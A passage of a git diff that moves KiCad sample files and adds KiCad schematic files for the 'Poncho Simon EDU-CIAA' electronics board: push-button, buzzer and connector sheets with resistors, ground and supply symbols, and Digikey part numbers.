+  (segment (start 119.25 65) (end 124.5 65) (width 1.5) (layer B.Cu) (net 32) (tstamp 595701BD))
+  (segment (start 124.5 65) (end 125.25 65) (width 0.9) (layer B.Cu) (net 32) (tstamp 595701EB))
+  (segment (start 118.465 65.785) (end 119.25 65) (width 1.5) (layer B.Cu) (net 32) (tstamp 595701BA))
+  (segment (start 127.544 65) (end 129.641 67.097) (width 0.9) (layer B.Cu) (net 32) (tstamp 595701B7))
+  (segment (start 125.25 65) (end 127.544 65) (width 0.9) (layer B.Cu) (net 32) (tstamp 595701B4))
+  (segment (start 118.465 67.351) (end 118.465 65.785) (width 1.5) (layer B.Cu) (net 32))
+  (segment (start 118.465 87.465) (end 118.4 87.4) (width 1.2) (layer B.Cu) (net 32) (tstamp 59570929))
+  (segment (start 118.465 90.719) (end 118.465 87.465) (width 1.2) (layer B.Cu) (net 32))
+
+)
diff --git a/samples/KiCad/tc14badge.brd b/samples/KiCad Legacy Layout/tc14badge.brd
similarity index 100%
rename from samples/KiCad/tc14badge.brd
rename to samples/KiCad Legacy Layout/tc14badge.brd
diff --git a/samples/KiCad/Volume.sch b/samples/KiCad Schematic/Volume.sch
similarity index 100%
rename from samples/KiCad/Volume.sch
rename to samples/KiCad Schematic/Volume.sch
diff --git a/samples/KiCad Schematic/buttons.sch b/samples/KiCad Schematic/buttons.sch
new file mode 100644
index 0000000000..fd6bfa9c8d
--- /dev/null
+++ b/samples/KiCad Schematic/buttons.sch	
@@ -0,0 +1,519 @@
+EESchema Schematic File Version 2
+LIBS:simonLib
+LIBS:power
+LIBS:simonShield-cache
+EELAYER 25 0
+EELAYER END
+$Descr A4 11693 8268
+encoding utf-8
+Sheet 2 4
+Title "Poncho Simon EDU-CIAA"
+Date "2016-07-26"
+Rev "1.0"
+Comp "Proyecto CIAA"
+Comment1 "Juan Agustin Bassi"
+Comment2 "CESE - Diseño PCB"
+Comment3 "Licencia BSD"
+Comment4 ""
+$EndDescr
+$Comp
+L SW_PUSH SW1
+U 1 1 5777DBBB
+P 3500 3000
+F 0 "SW1" H 3650 3110 50  0000 C CNN
+F 1 "SW_PUSH" H 3500 2920 50  0000 C CNN
+F 2 "simonShield:SW_PUSH_SMALL" H 3500 3000 50  0001 C CNN
+F 3 "" H 3500 3000 50  0000 C CNN
+F 4 "450-1804-ND" H 3500 3000 60  0001 C CNN "Digikey#"
+	1    3500 3000
+	1    0    0    -1  
+$EndComp
+$Comp
+L R R1
+U 1 1 5777DBC2
+P 3150 2750
+F 0 "R1" V 3230 2750 50  0000 C CNN
+F 1 "3K3" V 3150 2750 50  0000 C CNN
+F 2 "simonShield:Resistor_Horizontal_RM7mm" V 3080 2750 50  0001 C CNN
+F 3 "" H 3150 2750 50  0000 C CNN
+F 4 "680EBK-ND" H 3150 2750 60  0001 C CNN "Digikey#"
+	1    3150 2750
+	-1   0    0    1   
+$EndComp
+$Comp
+L GND #PWR05
+U 1 1 5777DBC9
+P 3900 3100
+F 0 "#PWR05" H 3900 2850 50  0001 C CNN
+F 1 "GND" H 3900 2950 50  0000 C CNN
+F 2 "" H 3900 3100 50  0000 C CNN
+F 3 "" H 3900 3100 50  0000 C CNN
+	1    3900 3100
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	3150 2450 3150 2600
+Wire Wire Line
+	3150 2900 3150 3000
+Wire Wire Line
+	3800 3000 3900 3000
+Wire Wire Line
+	3900 3000 3900 3100
+Connection ~ 3150 3000
+$Comp
+L SW_PUSH SW3
+U 1 1 5777DBDD
+P 5050 3000
+F 0 "SW3" H 5200 3110 50  0000 C CNN
+F 1 "SW_PUSH" H 5050 2920 50  0000 C CNN
+F 2 "simonShield:SW_PUSH_SMALL" H 5050 3000 50  0001 C CNN
+F 3 "" H 5050 3000 50  0000 C CNN
+F 4 "450-1804-ND" H 5050 3000 60  0001 C CNN "Digikey#"
+	1    5050 3000
+	1    0    0    -1  
+$EndComp
+$Comp
+L GND #PWR06
+U 1 1 5777DBEB
+P 5450 3100
+F 0 "#PWR06" H 5450 2850 50  0001 C CNN
+F 1 "GND" H 5450 2950 50  0000 C CNN
+F 2 "" H 5450 3100 50  0000 C CNN
+F 3 "" H 5450 3100 50  0000 C CNN
+	1    5450 3100
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	4700 2450 4700 2600
+Wire Wire Line
+	4700 2900 4700 3000
+Wire Wire Line
+	5350 3000 5450 3000
+Wire Wire Line
+	5450 3000 5450 3100
+Connection ~ 4700 3000
+$Comp
+L SW_PUSH SW5
+U 1 1 5777DBFF
+P 6600 3000
+F 0 "SW5" H 6750 3110 50  0000 C CNN
+F 1 "SW_PUSH" H 6600 2920 50  0000 C CNN
+F 2 "simonShield:SW_PUSH_SMALL" H 6600 3000 50  0001 C CNN
+F 3 "" H 6600 3000 50  0000 C CNN
+F 4 "450-1804-ND" H 6600 3000 60  0001 C CNN "Digikey#"
+	1    6600 3000
+	1    0    0    -1  
+$EndComp
+$Comp
+L GND #PWR07
+U 1 1 5777DC0D
+P 7000 3100
+F 0 "#PWR07" H 7000 2850 50  0001 C CNN
+F 1 "GND" H 7000 2950 50  0000 C CNN
+F 2 "" H 7000 3100 50  0000 C CNN
+F 3 "" H 7000 3100 50  0000 C CNN
+	1    7000 3100
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	6250 2450 6250 2600
+Wire Wire Line
+	6250 2900 6250 3000
+Wire Wire Line
+	6900 3000 7000 3000
+Wire Wire Line
+	7000 3000 7000 3100
+Connection ~ 6250 3000
+$Comp
+L SW_PUSH SW7
+U 1 1 5777DC21
+P 8150 3000
+F 0 "SW7" H 8300 3110 50  0000 C CNN
+F 1 "SW_PUSH" H 8150 2920 50  0000 C CNN
+F 2 "simonShield:SW_PUSH_SMALL" H 8150 3000 50  0001 C CNN
+F 3 "" H 8150 3000 50  0000 C CNN
+F 4 "450-1804-ND" H 8150 3000 60  0001 C CNN "Digikey#"
+	1    8150 3000
+	1    0    0    -1  
+$EndComp
+$Comp
+L GND #PWR08
+U 1 1 5777DC2F
+P 8550 3100
+F 0 "#PWR08" H 8550 2850 50  0001 C CNN
+F 1 "GND" H 8550 2950 50  0000 C CNN
+F 2 "" H 8550 3100 50  0000 C CNN
+F 3 "" H 8550 3100 50  0000 C CNN
+	1    8550 3100
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	7800 2450 7800 2600
+Wire Wire Line
+	7800 2900 7800 3000
+Wire Wire Line
+	8450 3000 8550 3000
+Wire Wire Line
+	8550 3000 8550 3100
+Connection ~ 7800 3000
+$Comp
+L SW_PUSH SW2
+U 1 1 5777DC43
+P 3550 4350
+F 0 "SW2" H 3700 4460 50  0000 C CNN
+F 1 "SW_PUSH" H 3550 4270 50  0000 C CNN
+F 2 "simonShield:SW_PUSH_SMALL" H 3550 4350 50  0001 C CNN
+F 3 "" H 3550 4350 50  0000 C CNN
+F 4 "450-1804-ND" H 3550 4350 60  0001 C CNN "Digikey#"
+	1    3550 4350
+	1    0    0    -1  
+$EndComp
+$Comp
+L GND #PWR09
+U 1 1 5777DC51
+P 3950 4450
+F 0 "#PWR09" H 3950 4200 50  0001 C CNN
+F 1 "GND" H 3950 4300 50  0000 C CNN
+F 2 "" H 3950 4450 50  0000 C CNN
+F 3 "" H 3950 4450 50  0000 C CNN
+	1    3950 4450
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	3200 3800 3200 3950
+Wire Wire Line
+	3200 4250 3200 4350
+Wire Wire Line
+	3850 4350 3950 4350
+Wire Wire Line
+	3950 4350 3950 4450
+Connection ~ 3200 4350
+$Comp
+L SW_PUSH SW4
+U 1 1 5777DC65
+P 5100 4350
+F 0 "SW4" H 5250 4460 50  0000 C CNN
+F 1 "SW_PUSH" H 5100 4270 50  0000 C CNN
+F 2 "simonShield:SW_PUSH_SMALL" H 5100 4350 50  0001 C CNN
+F 3 "" H 5100 4350 50  0000 C CNN
+F 4 "450-1804-ND" H 5100 4350 60  0001 C CNN "Digikey#"
+	1    5100 4350
+	1    0    0    -1  
+$EndComp
+$Comp
+L GND #PWR010
+U 1 1 5777DC73
+P 5500 4450
+F 0 "#PWR010" H 5500 4200 50  0001 C CNN
+F 1 "GND" H 5500 4300 50  0000 C CNN
+F 2 "" H 5500 4450 50  0000 C CNN
+F 3 "" H 5500 4450 50  0000 C CNN
+	1    5500 4450
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	4750 4250 4750 4350
+Wire Wire Line
+	5400 4350 5500 4350
+Wire Wire Line
+	5500 4350 5500 4450
+Connection ~ 4750 4350
+$Comp
+L SW_PUSH SW6
+U 1 1 5777DC87
+P 6650 4350
+F 0 "SW6" H 6800 4460 50  0000 C CNN
+F 1 "SW_PUSH" H 6650 4270 50  0000 C CNN
+F 2 "simonShield:SW_PUSH_SMALL" H 6650 4350 50  0001 C CNN
+F 3 "" H 6650 4350 50  0000 C CNN
+F 4 "450-1804-ND" H 6650 4350 60  0001 C CNN "Digikey#"
+	1    6650 4350
+	1    0    0    -1  
+$EndComp
+$Comp
+L GND #PWR011
+U 1 1 5777DC95
+P 7050 4450
+F 0 "#PWR011" H 7050 4200 50  0001 C CNN
+F 1 "GND" H 7050 4300 50  0000 C CNN
+F 2 "" H 7050 4450 50  0000 C CNN
+F 3 "" H 7050 4450 50  0000 C CNN
+	1    7050 4450
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	6300 3800 6300 3950
+Wire Wire Line
+	6300 4250 6300 4350
+Wire Wire Line
+	6950 4350 7050 4350
+Wire Wire Line
+	7050 4350 7050 4450
+Connection ~ 6300 4350
+$Comp
+L SW_PUSH SW8
+U 1 1 5777DCA9
+P 8200 4350
+F 0 "SW8" H 8350 4460 50  0000 C CNN
+F 1 "SW_PUSH" H 8200 4270 50  0000 C CNN
+F 2 "simonShield:SW_PUSH_SMALL" H 8200 4350 50  0001 C CNN
+F 3 "" H 8200 4350 50  0000 C CNN
+F 4 "450-1804-ND" H 8200 4350 60  0001 C CNN "Digikey#"
+	1    8200 4350
+	1    0    0    -1  
+$EndComp
+$Comp
+L GND #PWR012
+U 1 1 5777DCB7
+P 8600 4450
+F 0 "#PWR012" H 8600 4200 50  0001 C CNN
+F 1 "GND" H 8600 4300 50  0000 C CNN
+F 2 "" H 8600 4450 50  0000 C CNN
+F 3 "" H 8600 4450 50  0000 C CNN
+	1    8600 4450
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	7850 3800 7850 3950
+Wire Wire Line
+	7850 4250 7850 4350
+Wire Wire Line
+	8500 4350 8600 4350
+Wire Wire Line
+	8600 4350 8600 4450
+Connection ~ 7850 4350
+Wire Notes Line
+	2400 1850 2400 4700
+Wire Notes Line
+	2400 4700 8800 4700
+Wire Notes Line
+	8800 4700 8800 1850
+Wire Notes Line
+	8800 2150 2400 2150
+Text HLabel 2950 2800 0    60   Input ~ 0
+BTN_LED_1
+Wire Wire Line
+	2950 3000 3200 3000
+Wire Wire Line
+	2950 3000 2950 2800
+Text HLabel 4500 2800 0    60   Input ~ 0
+BTN_LED_2
+Text HLabel 6050 2800 0    60   Input ~ 0
+BTN_LED_3
+Text HLabel 7600 2800 0    60   Input ~ 0
+BTN_LED_4
+Wire Wire Line
+	4500 3000 4750 3000
+Wire Wire Line
+	4500 3000 4500 2800
+Wire Wire Line
+	6050 3000 6300 3000
+Wire Wire Line
+	6050 3000 6050 2800
+Wire Wire Line
+	7600 3000 7850 3000
+Wire Wire Line
+	7600 3000 7600 2800
+Text HLabel 3000 4150 0    60   Input ~ 0
+BTN_CFG_1
+Wire Wire Line
+	3000 4350 3250 4350
+Wire Wire Line
+	3000 4350 3000 4150
+Text HLabel 4550 4150 0    60   Input ~ 0
+BTN_CFG_2
+Text HLabel 6100 4150 0    60   Input ~ 0
+BTN_CFG_3
+Text HLabel 7650 4150 0    60   Input ~ 0
+BTN_CFG_4
+Wire Wire Line
+	4550 4150 4550 4350
+Wire Wire Line
+	4550 4350 4800 4350
+Wire Wire Line
+	6100 4150 6100 4350
+Wire Wire Line
+	6100 4350 6350 4350
+Wire Wire Line
+	7650 4150 7650 4350
+Wire Wire Line
+	7650 4350 7900 4350
+$Comp
+L R R3
+U 1 1 577967E7
+P 4700 2750
+F 0 "R3" V 4780 2750 50  0000 C CNN
+F 1 "3K3" V 4700 2750 50  0000 C CNN
+F 2 "simonShield:Resistor_Horizontal_RM7mm" V 4630 2750 50  0001 C CNN
+F 3 "" H 4700 2750 50  0000 C CNN
+F 4 "680EBK-ND" H 4700 2750 60  0001 C CNN "Digikey#"
+	1    4700 2750
+	-1   0    0    1   
+$EndComp
+$Comp
+L R R5
+U 1 1 57796847
+P 6250 2750
+F 0 "R5" V 6330 2750 50  0000 C CNN
+F 1 "3K3" V 6250 2750 50  0000 C CNN
+F 2 "simonShield:Resistor_Horizontal_RM7mm" V 6180 2750 50  0001 C CNN
+F 3 "" H 6250 2750 50  0000 C CNN
+F 4 "680EBK-ND" H 6250 2750 60  0001 C CNN "Digikey#"
+	1    6250 2750
+	-1   0    0    1   
+$EndComp
+$Comp
+L R R7
+U 1 1 577968BC
+P 7800 2750
+F 0 "R7" V 7880 2750 50  0000 C CNN
+F 1 "3K3" V 7800 2750 50  0000 C CNN
+F 2 "simonShield:Resistor_Horizontal_RM7mm" V 7730 2750 50  0001 C CNN
+F 3 "" H 7800 2750 50  0000 C CNN
+F 4 "680EBK-ND" H 7800 2750 60  0001 C CNN "Digikey#"
+	1    7800 2750
+	-1   0    0    1   
+$EndComp
+$Comp
+L R R2
+U 1 1 5779693E
+P 3200 4100
+F 0 "R2" V 3280 4100 50  0000 C CNN
+F 1 "3K3" V 3200 4100 50  0000 C CNN
+F 2 "simonShield:Resistor_Horizontal_RM7mm" V 3130 4100 50  0001 C CNN
+F 3 "" H 3200 4100 50  0000 C CNN
+F 4 "680EBK-ND" H 3200 4100 60  0001 C CNN "Digikey#"
+	1    3200 4100
+	-1   0    0    1   
+$EndComp
+$Comp
+L R R4
+U 1 1 577969F3
+P 4750 4100
+F 0 "R4" V 4830 4100 50  0000 C CNN
+F 1 "3K3" V 4750 4100 50  0000 C CNN
+F 2 "simonShield:Resistor_Horizontal_RM7mm" V 4680 4100 50  0001 C CNN
+F 3 "" H 4750 4100 50  0000 C CNN
+F 4 "680EBK-ND" H 4750 4100 60  0001 C CNN "Digikey#"
+	1    4750 4100
+	-1   0    0    1   
+$EndComp
+$Comp
+L R R6
+U 1 1 57796A6F
+P 6300 4100
+F 0 "R6" V 6380 4100 50  0000 C CNN
+F 1 "3K3" V 6300 4100 50  0000 C CNN
+F 2 "simonShield:Resistor_Horizontal_RM7mm" V 6230 4100 50  0001 C CNN
+F 3 "" H 6300 4100 50  0000 C CNN
+F 4 "680EBK-ND" H 6300 4100 60  0001 C CNN "Digikey#"
+	1    6300 4100
+	-1   0    0    1   
+$EndComp
+$Comp
+L R R8
+U 1 1 57796AEC
+P 7850 4100
+F 0 "R8" V 7930 4100 50  0000 C CNN
+F 1 "3K3" V 7850 4100 50  0000 C CNN
+F 2 "simonShield:Resistor_Horizontal_RM7mm" V 7780 4100 50  0001 C CNN
+F 3 "" H 7850 4100 50  0000 C CNN
+F 4 "680EBK-ND" H 7850 4100 60  0001 C CNN "Digikey#"
+	1    7850 4100
+	-1   0    0    1   
+$EndComp
+Text Notes 5400 2050 0    60   ~ 12
+BUTTONS\n
+Wire Notes Line
+	8800 1850 2400 1850
+Wire Wire Line
+	4750 3950 4750 3800
+$Comp
+L VCC #PWR013
+U 1 1 5798AF98
+P 4750 3800
+F 0 "#PWR013" H 4750 3650 50  0001 C CNN
+F 1 "VCC" H 4750 3950 50  0000 C CNN
+F 2 "" H 4750 3800 50  0000 C CNN
+F 3 "" H 4750 3800 50  0000 C CNN
+	1    4750 3800
+	1    0    0    -1  
+$EndComp
+$Comp
+L VCC #PWR014
+U 1 1 5798B8B6
+P 3200 3800
+F 0 "#PWR014" H 3200 3650 50  0001 C CNN
+F 1 "VCC" H 3200 3950 50  0000 C CNN
+F 2 "" H 3200 3800 50  0000 C CNN
+F 3 "" H 3200 3800 50  0000 C CNN
+	1    3200 3800
+	1    0    0    -1  
+$EndComp
+$Comp
+L VCC #PWR015
+U 1 1 5798B8F1
+P 6300 3800
+F 0 "#PWR015" H 6300 3650 50  0001 C CNN
+F 1 "VCC" H 6300 3950 50  0000 C CNN
+F 2 "" H 6300 3800 50  0000 C CNN
+F 3 "" H 6300 3800 50  0000 C CNN
+	1    6300 3800
+	1    0    0    -1  
+$EndComp
+$Comp
+L VCC #PWR016
+U 1 1 5798B9EC
+P 7850 3800
+F 0 "#PWR016" H 7850 3650 50  0001 C CNN
+F 1 "VCC" H 7850 3950 50  0000 C CNN
+F 2 "" H 7850 3800 50  0000 C CNN
+F 3 "" H 7850 3800 50  0000 C CNN
+	1    7850 3800
+	1    0    0    -1  
+$EndComp
+$Comp
+L VCC #PWR017
+U 1 1 5798BB07
+P 7800 2450
+F 0 "#PWR017" H 7800 2300 50  0001 C CNN
+F 1 "VCC" H 7800 2600 50  0000 C CNN
+F 2 "" H 7800 2450 50  0000 C CNN
+F 3 "" H 7800 2450 50  0000 C CNN
+	1    7800 2450
+	1    0    0    -1  
+$EndComp
+$Comp
+L VCC #PWR018
+U 1 1 5798BB42
+P 6250 2450
+F 0 "#PWR018" H 6250 2300 50  0001 C CNN
+F 1 "VCC" H 6250 2600 50  0000 C CNN
+F 2 "" H 6250 2450 50  0000 C CNN
+F 3 "" H 6250 2450 50  0000 C CNN
+	1    6250 2450
+	1    0    0    -1  
+$EndComp
+$Comp
+L VCC #PWR019
+U 1 1 5798BB7D
+P 4700 2450
+F 0 "#PWR019" H 4700 2300 50  0001 C CNN
+F 1 "VCC" H 4700 2600 50  0000 C CNN
+F 2 "" H 4700 2450 50  0000 C CNN
+F 3 "" H 4700 2450 50  0000 C CNN
+	1    4700 2450
+	1    0    0    -1  
+$EndComp
+$Comp
+L VCC #PWR020
+U 1 1 5798BBB8
+P 3150 2450
+F 0 "#PWR020" H 3150 2300 50  0001 C CNN
+F 1 "VCC" H 3150 2600 50  0000 C CNN
+F 2 "" H 3150 2450 50  0000 C CNN
+F 3 "" H 3150 2450 50  0000 C CNN
+	1    3150 2450
+	1    0    0    -1  
+$EndComp
+$EndSCHEMATC
diff --git a/samples/KiCad Schematic/buzzer.sch b/samples/KiCad Schematic/buzzer.sch
new file mode 100644
index 0000000000..3a9b13ee2a
--- /dev/null
+++ b/samples/KiCad Schematic/buzzer.sch	
@@ -0,0 +1,195 @@
+EESchema Schematic File Version 2
+LIBS:simonShield-rescue
+LIBS:simonLib
+LIBS:74xgxx
+LIBS:74xx
+LIBS:ac-dc
+LIBS:actel
+LIBS:adc-dac
+LIBS:Altera
+LIBS:analog_devices
+LIBS:analog_switches
+LIBS:atmel
+LIBS:audio
+LIBS:brooktre
+LIBS:cmos4000
+LIBS:cmos_ieee
+LIBS:conn
+LIBS:contrib
+LIBS:cypress
+LIBS:dc-dc
+LIBS:device
+LIBS:digital-audio
+LIBS:diode
+LIBS:display
+LIBS:dsp
+LIBS:elec-unifil
+LIBS:ESD_Protection
+LIBS:ftdi
+LIBS:gennum
+LIBS:graphic
+LIBS:hc11
+LIBS:intel
+LIBS:interface
+LIBS:ir
+LIBS:Lattice
+LIBS:linear
+LIBS:logo
+LIBS:maxim
+LIBS:memory
+LIBS:microchip
+LIBS:microchip_dspic33dsc
+LIBS:microchip_pic10mcu
+LIBS:microchip_pic12mcu
+LIBS:microchip_pic16mcu
+LIBS:microchip_pic18mcu
+LIBS:microchip_pic32mcu
+LIBS:microcontrollers
+LIBS:motor_drivers
+LIBS:motorola
+LIBS:msp430
+LIBS:nordicsemi
+LIBS:nxp_armmcu
+LIBS:onsemi
+LIBS:opto
+LIBS:Oscillators
+LIBS:philips
+LIBS:power
+LIBS:powerint
+LIBS:Power_Management
+LIBS:pspice
+LIBS:references
+LIBS:regul
+LIBS:relays
+LIBS:rfcom
+LIBS:sensors
+LIBS:silabs
+LIBS:siliconi
+LIBS:stm8
+LIBS:stm32
+LIBS:supertex
+LIBS:switches
+LIBS:texas
+LIBS:transf
+LIBS:transistors
+LIBS:ttl_ieee
+LIBS:valves
+LIBS:video
+LIBS:Worldsemi
+LIBS:Xicor
+LIBS:xilinx
+LIBS:Zilog
+LIBS:simonShield-cache
+EELAYER 25 0
+EELAYER END
+$Descr A4 11693 8268
+encoding utf-8
+Sheet 3 5
+Title "Poncho Simon EDU-CIAA"
+Date "2016-07-26"
+Rev "1.0"
+Comp "Proyecto CIAA"
+Comment1 "Juan Agustin Bassi"
+Comment2 "CESE - Diseño PCB"
+Comment3 "Licencia BSD"
+Comment4 ""
+$EndDescr
+$Comp
+L BUZZER U1
+U 1 1 5777FCBE
+P 5600 4150
+F 0 "U1" H 5600 4150 60  0000 C CNN
+F 1 "BUZZER" H 5600 4150 60  0000 C CNN
+F 2 "footprints:MagneticBuzzer_ProSignal_ABT-410-RC" H 5600 4150 60  0001 C CNN
+F 3 "" H 5600 4150 60  0000 C CNN
+F 4 "445-2525-1-ND" H 5600 4150 60  0001 C CNN "Digikey#"
+	1    5600 4150
+	0    1    1    0   
+$EndComp
+$Comp
+L BC547 Q1
+U 1 1 5777FCC6
+P 5500 3350
+F 0 "Q1" H 5700 3425 50  0000 L CNN
+F 1 "BC547" H 5700 3350 50  0000 L CNN
+F 2 "simonShield:TO-92_Molded_Narrow" H 5700 3275 50  0000 L CIN
+F 3 "" H 5500 3350 50  0000 L CNN
+F 4 "BC33725TACT-ND" H 5500 3350 60  0001 C CNN "Digikey#"
+	1    5500 3350
+	1    0    0    -1  
+$EndComp
+$Comp
+L R R9
+U 1 1 5777FCCD
+P 5050 3350
+F 0 "R9" V 5130 3350 50  0000 C CNN
+F 1 "3K3" V 5050 3350 50  0000 C CNN
+F 2 "footprints:Resistor_Horizontal_RM7mm" V 4980 3350 50  0001 C CNN
+F 3 "" H 5050 3350 50  0000 C CNN
+F 4 "680EBK-ND" H 5050 3350 60  0001 C CNN "Digikey#"
+	1    5050 3350
+	0    1    1    0   
+$EndComp
+$Comp
+L GND #PWR017
+U 1 1 5777FCDA
+P 5600 4850
+F 0 "#PWR017" H 5600 4600 50  0001 C CNN
+F 1 "GND" H 5600 4700 50  0000 C CNN
+F 2 "" H 5600 4850 50  0000 C CNN
+F 3 "" H 5600 4850 50  0000 C CNN
+	1    5600 4850
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	5600 2600 5600 3150
+Wire Wire Line
+	5600 3550 5600 3700
+Wire Wire Line
+	5600 4700 5600 4850
+Wire Wire Line
+	5200 3350 5300 3350
+Text HLabel 4700 3050 0    60   Input ~ 0
+PWM
+Wire Wire Line
+	4700 3050 4700 3350
+Wire Wire Line
+	4700 3350 4900 3350
+$Comp
+L R R10
+U 1 1 577960FD
+P 5600 2450
+F 0 "R10" V 5680 2450 50  0000 C CNN
+F 1 "1K" H 5600 2450 50  0000 C CNN
+F 2 "footprints:Resistor_Horizontal_RM7mm" V 5530 2450 50  0001 C CNN
+F 3 "" H 5600 2450 50  0000 C CNN
+F 4 "680EBK-ND" H 5600 2450 60  0001 C CNN "Digikey#"
+	1    5600 2450
+	1    0    0    -1  
+$EndComp
+Wire Wire Line
+	5600 2100 5600 2300
+Wire Notes Line
+	3800 1000 3800 5450
+Wire Notes Line
+	3800 5450 7650 5450
+Wire Notes Line
+	7650 5450 7650 1000
+Wire Notes Line
+	7650 1350 3800 1350
+Wire Notes Line
+	7650 1000 3800 1000
+Text Notes 5350 1250 0    60   ~ 12
+BUZZER CIRCUIT
+$Comp
+L VDD-RESCUE-simonShield #PWR018
+U 1 1 5777FCD4
+P 5600 2100
+F 0 "#PWR018" H 5600 1950 50  0001 C CNN
+F 1 "VDD" H 5600 2250 50  0000 C CNN
+F 2 "" H 5600 2100 50  0000 C CNN
+F 3 "" H 5600 2100 50  0000 C CNN
+	1    5600 2100
+	1    0    0    -1  
+$EndComp
+$EndSCHEMATC
diff --git a/samples/KiCad Schematic/ciaaConector.sch b/samples/KiCad Schematic/ciaaConector.sch
new file mode 100644
index 0000000000..bdd11b42a7
--- /dev/null
+++ b/samples/KiCad Schematic/ciaaConector.sch	
@@ -0,0 +1,260 @@
+EESchema Schematic File Version 2
+LIBS:simonLib
+LIBS:power
+LIBS:simonShield-cache
+EELAYER 25 0
+EELAYER END
+$Descr A4 11693 8268
+encoding utf-8
+Sheet 4 4
+Title "Poncho Simon EDU-CIAA"
+Date "2016-07-26"
+Rev "1.0"
+Comp "Proyecto CIAA"
+Comment1 "Juan Agustin Bassi"
+Comment2 "CESE - Diseño PCB"
+Comment3 "Licencia BSD"
+Comment4 ""
+$EndDescr
+$Comp
+L GND #PWR029
+U 1 1 57781CE9
+P 3200 3000
+F 0 "#PWR029" H 3200 2750 50  0001 C CNN
+F 1 "GND" H 3200 2850 50  0000 C CNN
+F 2 "" H 3200 3000 50  0000 C CNN
+F 3 "" H 3200 3000 50  0000 C CNN
+	1    3200 3000
+	1    0    0    -1  
+$EndComp
+$Comp
+L Conn_Poncho2P_2x_20x2 XA?
+U 2 1 57781CEF
+P 3900 3050
+AR Path="/57781CEF" Ref="XA?"  Part="2" 
+AR Path="/57781B52/57781CEF" Ref="XA1"  Part="2" 
+F 0 "XA1" H 4200 3450 60  0000 C CNN
+F 1 "Conn_Poncho2P_2x_20x2" H 4250 1350 60  0000 C CNN
+F 2 "simonShield:Conn_Poncho_SinBorde" H 3900 3050 60  0001 C CNN
+F 3 "" H 3900 3050 60  0000 C CNN
+F 4 "952-2121-ND" H 3900 3050 60  0001 C CNN "Digikey#"
+	2    3900 3050
+	1    0    0    -1  
+$EndComp
+$Comp
+L PWR_JUMPER P1
+U 1 1 57781CF6
+P 4250 2250
+F 0 "P1" H 4250 2400 50  0000 C CNN
+F 1 "PWR_JUMPER" H 4250 2100 50  0000 C CNN
+F 2 "simonShield:Pin_Header_Straight_2x02" H 4250 1050 50  0001 C CNN
+F 3 "" H 4250 1050 50  0000 C CNN
+F 4 "952-2121-ND" H 4250 2250 60  0001 C CNN "Digikey#"
+	1    4250 2250
+	1    0    0    -1  
+$EndComp
+NoConn ~ 4850 2850
+NoConn ~ 4850 2950
+NoConn ~ 4850 3050
+NoConn ~ 4850 3150
+NoConn ~ 4850 3250
+NoConn ~ 4850 3350
+NoConn ~ 4850 3450
+NoConn ~ 3650 4050
+NoConn ~ 3650 3950
+NoConn ~ 3650 3850
+NoConn ~ 3650 3750
+NoConn ~ 3650 3650
+NoConn ~ 3650 3550
+NoConn ~ 3650 3450
+NoConn ~ 3650 3350
+NoConn ~ 3650 3250
+NoConn ~ 3650 3050
+NoConn ~ 3650 2950
+Text HLabel 4850 3750 2    60   Input ~ 0
+BTN_CFG_1
+Text HLabel 4850 3850 2    60   Input ~ 0
+BTN_CFG_2
+Text HLabel 4850 4450 2    60   Input ~ 0
+BTN_CFG_3
+Text HLabel 4850 4650 2    60   Input ~ 0
+BTN_CFG_4
+Text HLabel 3650 4350 0    60   Input ~ 0
+LED_4
+Text HLabel 4850 4350 2    60   Input ~ 0
+LED_3
+Text HLabel 4850 4050 2    60   Input ~ 0
+LED_2
+Text HLabel 4850 3550 2    60   Input ~ 0
+LED_1
+Text HLabel 3650 4450 0    60   Input ~ 0
+BTN_LED_4
+Text HLabel 4850 4550 2    60   Input ~ 0
+BTN_LED_3
+Text HLabel 4850 3950 2    60   Input ~ 0
+BTN_LED_2
+Text HLabel 4850 3650 2    60   Input ~ 0
+BTN_LED_1
+Text HLabel 3650 3150 0    60   Input ~ 0
+PWM
+$Comp
+L Conn_Poncho2P_2x_20x2 XA1
+U 1 1 577946F6
+P 7400 3000
+F 0 "XA1" H 7700 3400 60  0000 C CNN
+F 1 "Conn_Poncho2P_2x_20x2" H 7750 1300 60  0000 C CNN
+F 2 "simonShield:Conn_Poncho_SinBorde" H 7400 3000 60  0001 C CNN
+F 3 "" H 7400 3000 60  0000 C CNN
+F 4 "952-2121-ND" H 7400 3000 60  0001 C CNN "Digikey#"
+	1    7400 3000
+	1    0    0    -1  
+$EndComp
+NoConn ~ 7150 2700
+NoConn ~ 7150 2800
+NoConn ~ 7150 2900
+NoConn ~ 7150 3000
+NoConn ~ 7150 3100
+NoConn ~ 7150 3200
+NoConn ~ 7150 3300
+NoConn ~ 7150 3400
+NoConn ~ 7150 3500
+NoConn ~ 7150 3600
+NoConn ~ 7150 3700
+NoConn ~ 7150 3800
+NoConn ~ 7150 3900
+NoConn ~ 7150 4000
+NoConn ~ 7150 4100
+NoConn ~ 7150 4200
+NoConn ~ 7150 4300
+NoConn ~ 7150 4400
+NoConn ~ 7150 4500
+NoConn ~ 7150 4600
+NoConn ~ 8350 4600
+NoConn ~ 8350 4500
+NoConn ~ 8350 4400
+NoConn ~ 8350 4300
+NoConn ~ 8350 4200
+NoConn ~ 8350 4100
+NoConn ~ 8350 4000
+NoConn ~ 8350 3900
+NoConn ~ 8350 3800
+NoConn ~ 8350 3700
+NoConn ~ 8350 3600
+NoConn ~ 8350 3500
+NoConn ~ 8350 3400
+NoConn ~ 8350 3300
+NoConn ~ 8350 3200
+NoConn ~ 8350 3100
+NoConn ~ 8350 3000
+NoConn ~ 8350 2900
+NoConn ~ 8350 2800
+NoConn ~ 8350 2700
+Text Notes 5450 1150 0    60   ~ 12
+EDU-CIAA NXP CONNECTORS
+Text Notes 4100 1300 0    60   ~ 12
+P2
+Text Notes 7700 1300 0    60   ~ 12
+P1
+$Comp
+L GND #PWR030
+U 1 1 578F601E
+P 3400 4750
+F 0 "#PWR030" H 3400 4500 50  0001 C CNN
+F 1 "GND" H 3400 4600 50  0000 C CNN
+F 2 "" H 3400 4750 50  0000 C CNN
